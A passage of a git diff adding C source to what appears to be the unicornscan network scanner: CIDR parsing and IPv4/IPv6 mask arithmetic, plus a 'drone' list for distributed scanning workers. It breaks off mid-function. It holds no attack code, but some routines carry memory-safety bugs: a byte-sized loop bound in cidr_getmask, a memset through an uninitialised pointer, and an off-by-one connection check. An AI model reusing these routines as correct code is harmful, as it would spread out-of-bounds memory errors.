You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _CHTBL_H +# define _CHTBL_H + +#define CHEXIT_KEYCOLLIDE -2 +#define CHEXIT_FAILURE -1 +#define CHEXIT_SUCCESS 1 + +void *chtinit(uint32_t /* expected size */); + +int chtinsert (void * /* th */, uint64_t /* key */, void * /* data */ ); +int chtdelete (void * /* th */, uint64_t /* key */ ); +int chtfind (void * /* th */, uint64_t /* key */, void ** /* data_ptr */); +void chtstats (void * /* th */); +void chtwalk (void * /* rh */, void (* /* walk func */)(uint64_t /* key */, void * /* data ptr */), int /* wt 0-2*/); +uint32_t chtgetsize(void * /* th */); +void chtdestroy(void * /* rh */); +uint32_t chtsize (void * /* rh */); + +#endif diff --git a/src/unilib/cidr.c b/src/unilib/cidr.c new file mode 100644 index 0000000..7ea8270 --- /dev/null +++ b/src/unilib/cidr.c @@ -0,0 +1,684 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include +#include +#include +#include +#include +#include + +#ifndef ntohll +# if BIGENDIAN == 0 +# define ntohll(x) (((unsigned long long)ntohl((x))) << 32) + ntohl((x) >> 32) +# else +# define ntohll(x) (x) +# endif +#endif +#ifndef htonll +# if BIGENDIAN == 0 +# define htonll(x) (((unsigned long long)htonl((x))) << 32) + htonl((x) >> 32) +# else +# define htonll(x) (x) +# endif +#endif + +static inline int cidr_in6cmp(const void *, const void *); +static inline void cidr_in6inc(void *); +static void cidr_fill6mask(void *, unsigned int ); +static void cidr_u128str(const void *) __attribute__((unused)); + +typedef struct __attribute__((packed)) u128_t { + uint64_t u; + uint64_t l; +} u128_t; + +static const uint32_t cidrmasktbl[]={ + 0x80000000, 0xc0000000, 0xe0000000, 0xf0000000, + 0xf8000000, 0xfc000000, 0xfe000000, 0xff000000, + 0xff800000, 0xffc00000, 0xffe00000, 0xfff00000, + 0xfff80000, 0xfffc0000, 0xfffe0000, 0xffff0000, + 0xffff8000, 0xffffc000, 0xffffe000, 0xfffff000, + 0xfffff800, 0xfffffc00, 0xfffffe00, 0xffffff00, + 0xffffff80, 0xffffffc0, 0xffffffe0, 0xfffffff0, + 0xfffffff8, 0xfffffffc, 0xfffffffe, 0xffffffff +}; + +#if 0 +void mktbl6data(void) { +#define TBIT (((0ULL - 1) / 2) + 1) +#define EV(x) ((x) != 0 && (((x) + 1) % 2) == 0) + uint64_t a=TBIT, b=0, *c=&a, f=0; + for (;; f++) { + printf("%s{0x%016llxULL, 0x%016llxULL},%c", EV(f) ? "" : "\t", a, b, EV(f) ? '\n' : ' '); + *c=(*c >> 1) | TBIT; + if (*c == (uint64_t)(0 - 1)) { + if (c == &b) { + printf("{0x%016llxULL, 0x%016llxULL}\n", a, b); + break; + } + c=&b; + } + } +} +#endif + +static const u128_t cidrmasktbl_6[]={ + {0x8000000000000000ULL, 0x0000000000000000ULL}, {0xc000000000000000ULL, 0x0000000000000000ULL}, + {0xe000000000000000ULL, 0x0000000000000000ULL}, {0xf000000000000000ULL, 0x0000000000000000ULL}, + {0xf800000000000000ULL, 0x0000000000000000ULL}, {0xfc00000000000000ULL, 0x0000000000000000ULL}, + {0xfe00000000000000ULL, 0x0000000000000000ULL}, {0xff00000000000000ULL, 0x0000000000000000ULL}, + {0xff80000000000000ULL, 0x0000000000000000ULL}, {0xffc0000000000000ULL, 0x0000000000000000ULL}, + {0xffe0000000000000ULL, 0x0000000000000000ULL}, {0xfff0000000000000ULL, 0x0000000000000000ULL}, + {0xfff8000000000000ULL, 0x0000000000000000ULL}, {0xfffc000000000000ULL, 0x0000000000000000ULL}, + {0xfffe000000000000ULL, 0x0000000000000000ULL}, {0xffff000000000000ULL, 0x0000000000000000ULL}, + {0xffff800000000000ULL, 0x0000000000000000ULL}, {0xffffc00000000000ULL, 0x0000000000000000ULL}, + {0xffffe00000000000ULL, 0x0000000000000000ULL}, {0xfffff00000000000ULL, 0x0000000000000000ULL}, + {0xfffff80000000000ULL, 0x0000000000000000ULL}, {0xfffffc0000000000ULL, 0x0000000000000000ULL}, + {0xfffffe0000000000ULL, 0x0000000000000000ULL}, {0xffffff0000000000ULL, 0x0000000000000000ULL}, + {0xffffff8000000000ULL, 0x0000000000000000ULL}, {0xffffffc000000000ULL, 0x0000000000000000ULL}, + {0xffffffe000000000ULL, 0x0000000000000000ULL}, {0xfffffff000000000ULL, 0x0000000000000000ULL}, + {0xfffffff800000000ULL, 0x0000000000000000ULL}, {0xfffffffc00000000ULL, 0x0000000000000000ULL}, + {0xfffffffe00000000ULL, 0x0000000000000000ULL}, {0xffffffff00000000ULL, 0x0000000000000000ULL}, + {0xffffffff80000000ULL, 0x0000000000000000ULL}, {0xffffffffc0000000ULL, 0x0000000000000000ULL}, + {0xffffffffe0000000ULL, 0x0000000000000000ULL}, {0xfffffffff0000000ULL, 0x0000000000000000ULL}, + {0xfffffffff8000000ULL, 0x0000000000000000ULL}, {0xfffffffffc000000ULL, 0x0000000000000000ULL}, + {0xfffffffffe000000ULL, 0x0000000000000000ULL}, {0xffffffffff000000ULL, 0x0000000000000000ULL}, + {0xffffffffff800000ULL, 0x0000000000000000ULL}, {0xffffffffffc00000ULL, 0x0000000000000000ULL}, + {0xffffffffffe00000ULL, 0x0000000000000000ULL}, {0xfffffffffff00000ULL, 0x0000000000000000ULL}, + {0xfffffffffff80000ULL, 0x0000000000000000ULL}, {0xfffffffffffc0000ULL, 0x0000000000000000ULL}, + {0xfffffffffffe0000ULL, 0x0000000000000000ULL}, {0xffffffffffff0000ULL, 0x0000000000000000ULL}, + {0xffffffffffff8000ULL, 0x0000000000000000ULL}, {0xffffffffffffc000ULL, 0x0000000000000000ULL}, + {0xffffffffffffe000ULL, 0x0000000000000000ULL}, {0xfffffffffffff000ULL, 0x0000000000000000ULL}, + {0xfffffffffffff800ULL, 0x0000000000000000ULL}, {0xfffffffffffffc00ULL, 0x0000000000000000ULL}, + {0xfffffffffffffe00ULL, 0x0000000000000000ULL}, {0xffffffffffffff00ULL, 0x0000000000000000ULL}, + {0xffffffffffffff80ULL, 0x0000000000000000ULL}, {0xffffffffffffffc0ULL, 0x0000000000000000ULL}, + {0xffffffffffffffe0ULL, 0x0000000000000000ULL}, {0xfffffffffffffff0ULL, 0x0000000000000000ULL}, + {0xfffffffffffffff8ULL, 0x0000000000000000ULL}, {0xfffffffffffffffcULL, 0x0000000000000000ULL}, + {0xfffffffffffffffeULL, 0x0000000000000000ULL}, {0xffffffffffffffffULL, 0x0000000000000000ULL}, + {0xffffffffffffffffULL, 0x8000000000000000ULL}, {0xffffffffffffffffULL, 0xc000000000000000ULL}, + {0xffffffffffffffffULL, 0xe000000000000000ULL}, {0xffffffffffffffffULL, 0xf000000000000000ULL}, + {0xffffffffffffffffULL, 0xf800000000000000ULL}, {0xffffffffffffffffULL, 0xfc00000000000000ULL}, + {0xffffffffffffffffULL, 0xfe00000000000000ULL}, {0xffffffffffffffffULL, 0xff00000000000000ULL}, + {0xffffffffffffffffULL, 0xff80000000000000ULL}, {0xffffffffffffffffULL, 0xffc0000000000000ULL}, + {0xffffffffffffffffULL, 0xffe0000000000000ULL}, {0xffffffffffffffffULL, 0xfff0000000000000ULL}, + {0xffffffffffffffffULL, 0xfff8000000000000ULL}, {0xffffffffffffffffULL, 0xfffc000000000000ULL}, + {0xffffffffffffffffULL, 0xfffe000000000000ULL}, {0xffffffffffffffffULL, 0xffff000000000000ULL}, + {0xffffffffffffffffULL, 0xffff800000000000ULL}, {0xffffffffffffffffULL, 0xffffc00000000000ULL}, + {0xffffffffffffffffULL, 0xffffe00000000000ULL}, {0xffffffffffffffffULL, 0xfffff00000000000ULL}, + {0xffffffffffffffffULL, 0xfffff80000000000ULL}, {0xffffffffffffffffULL, 0xfffffc0000000000ULL}, + {0xffffffffffffffffULL, 0xfffffe0000000000ULL}, {0xffffffffffffffffULL, 0xffffff0000000000ULL}, + {0xffffffffffffffffULL, 0xffffff8000000000ULL}, {0xffffffffffffffffULL, 0xffffffc000000000ULL}, + {0xffffffffffffffffULL, 0xffffffe000000000ULL}, {0xffffffffffffffffULL, 0xfffffff000000000ULL}, + {0xffffffffffffffffULL, 0xfffffff800000000ULL}, {0xffffffffffffffffULL, 0xfffffffc00000000ULL}, + {0xffffffffffffffffULL, 0xfffffffe00000000ULL}, {0xffffffffffffffffULL, 0xffffffff00000000ULL}, + {0xffffffffffffffffULL, 0xffffffff80000000ULL}, {0xffffffffffffffffULL, 0xffffffffc0000000ULL}, + {0xffffffffffffffffULL, 0xffffffffe0000000ULL}, {0xffffffffffffffffULL, 0xfffffffff0000000ULL}, + {0xffffffffffffffffULL, 0xfffffffff8000000ULL}, {0xffffffffffffffffULL, 0xfffffffffc000000ULL}, + {0xffffffffffffffffULL, 0xfffffffffe000000ULL}, {0xffffffffffffffffULL, 0xffffffffff000000ULL}, + {0xffffffffffffffffULL, 0xffffffffff800000ULL}, {0xffffffffffffffffULL, 0xffffffffffc00000ULL}, + {0xffffffffffffffffULL, 0xffffffffffe00000ULL}, {0xffffffffffffffffULL, 0xfffffffffff00000ULL}, + {0xffffffffffffffffULL, 0xfffffffffff80000ULL}, {0xffffffffffffffffULL, 0xfffffffffffc0000ULL}, + {0xffffffffffffffffULL, 0xfffffffffffe0000ULL}, {0xffffffffffffffffULL, 0xffffffffffff0000ULL}, + {0xffffffffffffffffULL, 0xffffffffffff8000ULL}, {0xffffffffffffffffULL, 0xffffffffffffc000ULL}, + {0xffffffffffffffffULL, 0xffffffffffffe000ULL}, {0xffffffffffffffffULL, 0xfffffffffffff000ULL}, + {0xffffffffffffffffULL, 0xfffffffffffff800ULL}, {0xffffffffffffffffULL, 0xfffffffffffffc00ULL}, + {0xffffffffffffffffULL, 0xfffffffffffffe00ULL}, {0xffffffffffffffffULL, 0xffffffffffffff00ULL}, + {0xffffffffffffffffULL, 0xffffffffffffff80ULL}, {0xffffffffffffffffULL, 0xffffffffffffffc0ULL}, + {0xffffffffffffffffULL, 0xffffffffffffffe0ULL}, {0xffffffffffffffffULL, 0xfffffffffffffff0ULL}, + {0xffffffffffffffffULL, 0xfffffffffffffff8ULL}, {0xffffffffffffffffULL, 0xfffffffffffffffcULL}, + {0xffffffffffffffffULL, 0xfffffffffffffffeULL}, {0xffffffffffffffffULL, 0xffffffffffffffffULL} +}; + +int cidr_get(const char *instr, struct sockaddr *net_id, struct sockaddr *netmask, unsigned int *cmask) { + union { + struct sockaddr *p; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + } net_u, mask_u; + struct in_addr ia; + struct in6_addr ia6; + sockaddr_list_t **sl=NULL; + char *masksl=NULL, tbuf[4096]; + int exp_family=AF_INET, j=0, sd_flags; + unsigned int maskset=0, tehmask=0; + + net_u.p=net_id; + mask_u.p=netmask; + + if (net_id == NULL || netmask == NULL || instr == NULL) { + return -1; + } + + if (cmask != NULL) { + *cmask=0; + } + + if (sscanf(instr, "ipv4:%4095[^/]", tbuf) == 1) { + } + else if (sscanf(instr, "ipv6:%4095[^/]", tbuf) == 1) { + exp_family=AF_INET6; + } + else if (sscanf(instr, "%4095[^/]", tbuf) != 1) { + return -1; + } + + if (s->ipv6_lookup == 1 && s->ipv4_lookup == 0) { + exp_family=AF_INET6; + } + + if ((masksl=strrchr(instr, '/')) != NULL) { + masksl++; + if (sscanf(masksl, "%u", &tehmask) != 1) { + ERR("bad mask `%s' (non numeric?)", masksl); + return -1; + } + maskset++; + } + + if (inet_pton(AF_INET, tbuf, &ia) > 0 && exp_family != AF_INET6) { + if (maskset == 0) { + tehmask=32; + } + else if (tehmask > 32) { + ERR("mask too big for ipv4"); + return -1; + } + + net_u.sin->sin_family=AF_INET; + mask_u.sin->sin_family=AF_INET; +#ifdef HAVE_STRUCT_SOCKADDR_LEN + net_u.sin->sin_len=(uint8_t )sizeof(struct sockaddr_in); + mask_u.sin->sin_len=(uint8_t )sizeof(struct sockaddr_in); +#endif + mask_u.sin->sin_addr.s_addr=tehmask == 0 ? 0 : htonl(cidrmasktbl[tehmask - 1]); + net_u.sin->sin_addr.s_addr=ia.s_addr & mask_u.sin->sin_addr.s_addr; + + if (cmask != NULL) { + *cmask=tehmask; + } + + DBG(M_DNS, "ip family %u for host %s", AF_INET, tbuf); + return exp_family; + } + else if (inet_pton(AF_INET6, tbuf, &ia6) > 0) { + if (maskset == 0) { + tehmask=128; + } + else if (tehmask > 128) { + ERR("mask too large for ipv6"); + return -1; + } + + net_u.sin6->sin6_family=AF_INET6; + mask_u.sin6->sin6_family=AF_INET6; +#ifdef HAVE_STRUCT_SOCKADDR_LEN + net_u.sin6->sin6_len=(uint8_t )sizeof(struct sockaddr_in6); + mask_u.sin6->sin6_len=(uint8_t )sizeof(struct sockaddr_in6); +#endif + cidr_fill6mask(mask_u.sin6->sin6_addr.s6_addr, tehmask); + memcpy(net_u.sin6->sin6_addr.s6_addr, ia6.s6_addr, sizeof(struct in6_addr)); + + for (j=0; j < 16; j++) { + net_u.sin6->sin6_addr.s6_addr[j]=net_u.sin6->sin6_addr.s6_addr[j] & mask_u.sin6->sin6_addr.s6_addr[j]; + } + + if (cmask != NULL) { + *cmask=tehmask; + } + + DBG(M_DNS, "ipv6 family %u for host %s", AF_INET6, tbuf); + return exp_family; + } + + sd_flags=0; + if (exp_family == AF_INET) { + sd_flags=STDDNS_FLG_IPV4; + } + else { + sd_flags=STDDNS_FLG_IPV6; + } + + sl=stddns_getaddr(s->dns, tbuf); + if (sl == NULL) { + + ERR("dns lookup fails for `%s': %s", tbuf, hstrerror(h_errno)); + return -1; + } + + for (j=0; sl[j] != NULL; j++) { + if (exp_family == AF_INET && sl[j]->s_u.fs.family == AF_INET) { + if (maskset == 0) { + tehmask=32; + } + else if (tehmask > 32) { + + ERR("mask too big for ipv4"); + stddns_freeaddr(s->dns, &sl); + + return -1; + } + + net_u.sin->sin_family=AF_INET; + mask_u.sin->sin_family=AF_INET; +#ifdef HAVE_STRUCT_SOCKADDR_LEN + net_u.sin->sin_len=(uint8_t )sizeof(struct sockaddr_in); + mask_u.sin->sin_len=(uint8_t )sizeof(struct sockaddr_in); +#endif + mask_u.sin->sin_addr.s_addr=tehmask == 0 ? 0 : htonl(cidrmasktbl[tehmask - 1]); + net_u.sin->sin_addr.s_addr=sl[j]->s_u.sin.sin_addr.s_addr & mask_u.sin->sin_addr.s_addr; + + stddns_freeaddr(s->dns, &sl); + + if (cmask != NULL) { + *cmask=tehmask; + } + + DBG(M_DNS, "ipv4 family %u for dns host %s", AF_INET, tbuf); + return exp_family; + } + else { + if (maskset == 0) { + tehmask=128; + } + else if (tehmask > 128) { + + ERR("mask too large for ipv6"); + stddns_freeaddr(s->dns, &sl); + + return -1; + } + + net_u.sin6->sin6_family=AF_INET6; + mask_u.sin6->sin6_family=AF_INET6; +#ifdef HAVE_STRUCT_SOCKADDR_LEN + net_u.sin6->sin6_len=(uint8_t )sizeof(struct sockaddr_in6); + mask_u.sin6->sin6_len=(uint8_t )sizeof(struct sockaddr_in6); +#endif + cidr_fill6mask(mask_u.sin6->sin6_addr.s6_addr, tehmask); + memcpy(net_u.sin6->sin6_addr.s6_addr, sl[j]->s_u.sin6.sin6_addr.s6_addr, sizeof(struct in6_addr)); + + for (j=0; j < 16; j++) { + net_u.sin6->sin6_addr.s6_addr[j]=net_u.sin6->sin6_addr.s6_addr[j] & mask_u.sin6->sin6_addr.s6_addr[j]; + } + + stddns_freeaddr(s->dns, &sl); + + if (cmask != NULL) { + *cmask=tehmask; + } + + DBG(M_DNS, "ipv6 family %u for dns host %s", AF_INET6, tbuf); + return exp_family; + } + } + + /* + * we didnt match anything + */ + stddns_freeaddr(s->dns, &sl); + + return -1; +} + +static void cidr_fill6mask(void *a, unsigned int mask) { + union { + void *p; + uint64_t *dw; + } p_u; + + if (mask == 0) { + memset(p_u.p, 0, sizeof(struct in6_addr)); + return; + } + p_u.p=a; + *p_u.dw=htonll(cidrmasktbl_6[mask - 1].u); + p_u.dw++; + *p_u.dw=htonll(cidrmasktbl_6[mask - 1].l); + return; +} + +void cidr_inchost(struct sockaddr *p) { + union { + struct sockaddr *p; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + struct f_s *fs; + } s_u; + uint32_t tmp=0; + + s_u.p=p; + + switch (s_u.fs->family) { + case AF_INET: + tmp=ntohl(s_u.sin->sin_addr.s_addr) + 1; + s_u.sin->sin_addr.s_addr=htonl(tmp); + return; + + case AF_INET6: + cidr_in6inc(s_u.sin6->sin6_addr.s6_addr); + return; + + default: + break; + } + + return; +} + +int cidr_within(const struct sockaddr *host, const struct sockaddr *net, const struct sockaddr *mask) { + union { + const struct sockaddr *p; + const struct sockaddr_in *sin; + const struct sockaddr_in6 *sin6; + const struct f_s *fs; + } host_u, net_u, mask_u; + + if (host == NULL || net == NULL || mask == NULL) { + ERR("one or more arguments null"); + return -1; + } + + host_u.p=host; + net_u.p=net; + mask_u.p=mask; + + if (net_u.fs->family != mask_u.fs->family) { + ERR("net family not same as mask family"); + return -1; + } + + if (host_u.fs->family != net_u.fs->family) { + ERR("host family not same as network family"); + return 0; + } + + if (host_u.fs->family == AF_INET) { + uint32_t host_max, host_min, host_cur; + + host_min=ntohl(net_u.sin->sin_addr.s_addr); + host_max=host_min | ~(ntohl(mask_u.sin->sin_addr.s_addr)); + host_cur=ntohl(host_u.sin->sin_addr.s_addr); + + if (host_cur > host_max || host_cur < host_min) { + return 0; + } + + return 1; + } + else if (host_u.fs->family == AF_INET6) { + u128_t host_max, host_min, host_cur; + union { + u128_t *p; + uint8_t *c; + } dw_u; + int j=0; + + memcpy(&host_min, net_u.sin6->sin6_addr.s6_addr, sizeof(host_min)); + memcpy(&host_max, net_u.sin6->sin6_addr.s6_addr, sizeof(host_max)); + + dw_u.p=&host_max; + for (j=0; j < 16; j++) { + *dw_u.c=net_u.sin6->sin6_addr.s6_addr[j] | ~(mask_u.sin6->sin6_addr.s6_addr[j]); + dw_u.c++; + } + + memcpy(&host_cur, host_u.sin6->sin6_addr.s6_addr, sizeof(struct in6_addr)); + + if ( (cidr_in6cmp(&host_cur, &host_min) != -1 /* so cur is >= host_min */) && + (cidr_in6cmp(&host_cur, &host_max) != 1 /* so cur is <= host_max */)) { + return 1; + } + + return 0; + } + else { + return -1; + } + + return 0; +} + +void cidr_randhost(struct sockaddr *host, const struct sockaddr *network, const struct sockaddr *netmask) { + union sock_u host_u; + union csock_u net_u, mask_u; + + net_u.s=network; + mask_u.s=netmask; + host_u.s=host; + + memcpy(host, network, sizeof(struct sockaddr_storage)); + + if (netmask == NULL) { + return; + } + + if (net_u.fs->family == AF_INET) { + uint32_t mix=0; + + assert(mask_u.fs->family == AF_INET); + mix=prng_get32() & ~(mask_u.sin->sin_addr.s_addr); + + host_u.sin->sin_addr.s_addr ^= mix; + } + else { + ERR("randhost: fixme"); + } + + return; +} + +double cidr_numhosts(const struct sockaddr *network, const struct sockaddr *netmask) { + double ret=0.0; + union sock_u net_u, mask_u; + + net_u.s=network; + mask_u.s=netmask; + + if (netmask == NULL) { + return 1.0; + } + + if (net_u.fs->family == AF_INET) { + uint32_t high_ip=0, low_ip=0, mask=0; + + if (mask_u.sin->sin_addr.s_addr == 0xffffffff) { + return 1; + } + + mask=ntohl(mask_u.sin->sin_addr.s_addr); + low_ip=ntohl(net_u.sin->sin_addr.s_addr); + high_ip=low_ip | ~(mask); + high_ip++; + + assert(high_ip > low_ip); + + return (double )high_ip - low_ip; + } + else { + ERR("nyi"); + } + + return ret; +} + +unsigned int cidr_getmask(const struct sockaddr *in) { + union { + struct f_s *fs; + const struct sockaddr *s; + const struct sockaddr_in *sin; + const struct sockaddr_in6 *sin6; + } s_u; + unsigned int mask=0, tgt=0; + + s_u.s=in; + + switch (s_u.fs->family) { + case AF_INET: + tgt=ntohl(s_u.sin->sin_addr.s_addr); + + if (tgt == 0) { + return 0; + } + + for (mask=0; mask < sizeof(cidrmasktbl); mask++) { + if (cidrmasktbl[mask] == tgt) { + return mask + 1; + } + } + break; + + case AF_INET6: + ERR("nyi"); + break; + + default: + ERR("unsupported address family"); + break; + } + + return 0; +} + +char *cidr_saddrstr(const struct sockaddr *in) { + union { + struct f_s *fs; + const struct sockaddr *s; + const struct sockaddr_in *sin; + const struct sockaddr_in6 *sin6; + } s_u; + static char nbuf[256], *ret=NULL; + const void *p=NULL; + + if (in == NULL) { + return NULL; + } + + s_u.s=in; + + switch (s_u.fs->family) { + case AF_INET: + p=&s_u.sin->sin_addr; + break; + + case AF_INET6: + p=&s_u.sin6->sin6_addr; + break; + + default: + ERR("unknown address family `%d'?", s_u.fs->family); + return NULL; + } + + ret=inet_ntop(s_u.fs->family, p, nbuf, sizeof(nbuf) - 1); /* GAH */ + if (ret == NULL) { + ERR("inet_ntop fails: %s", strerror(errno)); + } + + return ret; +} + +/* + * returns: + * 1 if a > b + * 0 if a == b + * -1 if a < b + */ +static inline int cidr_in6cmp(const void *a, const void *b) { + union { + const uint8_t *c; + const void *p; + } p1_u, p2_u; + int j=0; + + p1_u.p=a; + p2_u.p=b; + for (j=0; j < 16; j++) { + if (p1_u.c[j] > p2_u.c[j]) { + return 1; + } + else if (p1_u.c[j] != p2_u.c[j]) { + return -1; + } + } + + return 0; +} + +static inline void cidr_in6inc(void *a) { +#if BIGENDIAN == 0 + union { + uint8_t *c; + uint64_t *dw; + void *p; + } p_u; + uint64_t dw; +#endif + u128_t tmp; + +#if BIGENDIAN == 0 + p_u.p=a; + tmp.l=ntohll(*p_u.dw); + p_u.dw++; + tmp.u=ntohll(*p_u.dw); +#else + memcpy(&tmp, a, sizeof(tmp)); +#endif + +#if BIGENDIAN == 0 + tmp.u++; + if (tmp.u == 0ULL) { + tmp.l++; + } +#else + tmp.l++; + if (tmp.l == 0ULL) { + tmp.u++; + } +#endif + + +#if BIGENDIAN == 0 + dw=htonll(tmp.l); + p_u.p=a; + memcpy(p_u.p, &dw, sizeof(dw)); + p_u.dw++; + dw=htonll(tmp.u); + memcpy(p_u.p, &dw, sizeof(dw)); +#else + memcpy(a, &tmp, sizeof(tmp)); +#endif + + return; +} + +static void cidr_u128str(const void *in) { + const uint8_t *c=NULL; + int cnt=0; + + printf("BUF DUMP: "); + for (c=(const uint8_t *)in, cnt=0; cnt < 16; cnt++, c++) { + printf(":%02x", *c); + } + printf("\n"); + + return; +} diff --git a/src/unilib/cidr.h b/src/unilib/cidr.h new file mode 100644 index 0000000..7fda0d5 --- /dev/null +++ b/src/unilib/cidr.h @@ -0,0 +1,61 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _CIDR_H +# define _CIDR_H + +/* + * returns: + * > -1 address family AF_INET or AF_INET6 that sockaddr's are within + * -1: error condition with error message in error string pointer + * arguments: + */ + +int cidr_get( + const char * /* network string */, + struct sockaddr * /* netid */, + struct sockaddr * /* netmask */, + unsigned int * /* parsed cidr mask (perhaps implied) */ + ); + +/* + * increments the socket address, returns 1 if ok, -1 otherwise + */ +void cidr_inchost(struct sockaddr * /* host address to increment */); + +void cidr_randhost(struct sockaddr * /* random host */, const struct sockaddr * /* network */, const struct sockaddr * /* mask */); + +double cidr_numhosts(const struct sockaddr * /* network */, const struct sockaddr * /* netmask */); + +unsigned int cidr_getmask(const struct sockaddr * /* netmask */); + +/* + * returns 1 if host is within the network/netmask, 0 if it is outside, + * and -1 if there is some sort of error with the arguments + */ +int cidr_within( + const struct sockaddr * /* host */, + const struct sockaddr * /* network */, + const struct sockaddr * /* netmask */ + ); +/* + * returns a string describing the socket address structure + */ +char *cidr_saddrstr(const struct sockaddr * /* address */); + +#endif /* _CIDR_H */ diff --git a/src/unilib/drone.c b/src/unilib/drone.c new file mode 100644 index 0000000..28675ed --- /dev/null +++ b/src/unilib/drone.c @@ -0,0 +1,374 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include + +#include +#include +#include +#include +#include + +static int drone_validateuri(const char *); + +int drone_parselist(const char *input) { + char *ibuf=NULL, *tptr=NULL; + + if (input == NULL || strlen(input) < 1) { + ERR("drone list null or 0 length, not parsing it"); + return -1; + } + + ibuf=xstrdup(input); + + DBG(M_DRN, "parsing drone list `%s'", input); + + for (tptr=strtok(ibuf, ","); tptr != NULL; tptr=strtok(NULL, ",")) { + DBG(M_DRN, "adding drone `%s'", tptr); + /* transport context XXX */ + if (drone_validateuri(tptr) == 1) { + if (drone_add(tptr) < 0) { + ERR("drone `%s' cannot be added", tptr); + return -1; + } + } + else { + ERR("drone `%s' is invalid", tptr); + } + } + + xfree(ibuf); + return 1; +} + +int drone_init(void) { + assert(s->dlh == NULL); + + s->dlh=(drone_head_t *)xmalloc(sizeof(drone_head_t)); + + s->dlh->head=NULL; + s->dlh->size=0; + + return 1; +} + +int drone_add(const char *uri) { + drone_t *d=NULL,*l=NULL; + + if (s->dlh == NULL) { + PANIC("drone head NULL"); + } + + d=(drone_t *)xmalloc(sizeof(drone_t)); + memset(d, 0, sizeof(drone_t)); + + d->status=0; + d->type=0; + d->uri=xstrdup(uri); + d->s=-1; + d->s_rw=0; + d->pps=0; + d->id=0; + + d->next=NULL; + d->last=NULL; + + /* XXX */ + if (GET_DOCONNECT()) { + d->flags |= DRONE_IMMEDIATE; + } + + if (s->dlh->head == NULL) { + assert(s->dlh->size == 0); + s->dlh->head=d; + s->dlh->size=1; + return 1; + } + + for (l=s->dlh->head; l->next != NULL; ++d->id, l=l->next) { + } + ++d->id; + + l->next=d; + l->next->last=l; + ++s->dlh->size; + + return d->id; +} + +int drone_remove(int drone_id) { + drone_t *w=NULL; + + if (s->dlh == NULL) { + return -1; + } + + for (w=s->dlh->head; w != NULL; w=w->next) { + if (w->id == drone_id) { + + if (w->uri != NULL) { + xfree(w->uri); + } + + if (w->last == NULL) { + assert(w == s->dlh->head); + s->dlh->head=w->next; + if (w->next != NULL) { + w->next->last=NULL; + } + } + else if (w->next == NULL) { + assert(w->last != NULL); /* cant be */ + w->last->next=NULL; + } + else { + drone_t *l=NULL, *n=NULL; + + l=w->last; + n=w->next; + l->next=n; + n->last=l; + } + + xfree(w); + --s->dlh->size; + return 1; + } + } + + + return -1; +} + +int drone_connect(void) { + drone_t *d=NULL; + int dsock=-1, laggers=0; + + if (s->dlh == NULL) { + return 0; + } + + for (d=s->dlh->head; d != NULL; d=d->next) { + if (d->status != DRONE_STATUS_UNKNOWN) { + continue; + } + + dsock=socktrans_connect(d->uri); + + if (dsock > 0) { + d->s=dsock; + d->s_rw=0; + d->status=DRONE_STATUS_CONNECTED; + if (d->flags & DRONE_IMMEDIATE) { + DBG(M_DRN, "Setting up an immediate drone!"); + socktrans_immediate(d->s, 1); + } + } + else { + laggers++; + } + + } + + return laggers; +} + +void drone_dumplist(void) { + drone_t *d=NULL; + unsigned int node=0; + + if (s->dlh == NULL) { + ERR("empty list, nothing to dump"); + } + + for (d=s->dlh->head; d != NULL; d=d->next) { + DBG(M_DRN, "uri: `%s' id: %d", d->uri, d->id); + node++; + } + + if (node != s->dlh->size) { + DBG(M_DRN, "mis-match for head size[%d] and counted size[%d]", s->dlh->size, node); + } + return; +} + +void drone_destroylist(void) { + drone_t *d=NULL, *l=NULL; + + if (s->dlh == NULL) { + return; + } + + for (d=s->dlh->head; d != NULL; l=d, d=d->next) { + if (l != NULL) { + xfree(l->uri); + xfree(l); + } + } + + if (l != NULL) { + xfree(l->uri); + xfree(l); + } + + xfree(s->dlh); + s->dlh=NULL; + + return; +} + +int drone_poll(int timeout) { + int ret=0; + uint32_t d_offset=0; + xpoll_t p[MAX_CONNS]; + drone_t *d=NULL; + + if (s->dlh == NULL) { + PANIC("drone head NULL"); + } + + for (d=s->dlh->head, d_offset=0; d != NULL; d=d->next, d_offset++) { + if (d_offset > MAX_CONNS) { + PANIC("too many drones bob"); + } + p[d_offset].fd=d->s; + } + + DBG(M_DRN, "polling %u sockets...", d_offset); + + if (xpoll(&p[0], d_offset, timeout) < 0) { + return -1; + } + + for (d=s->dlh->head, d_offset=0; d != 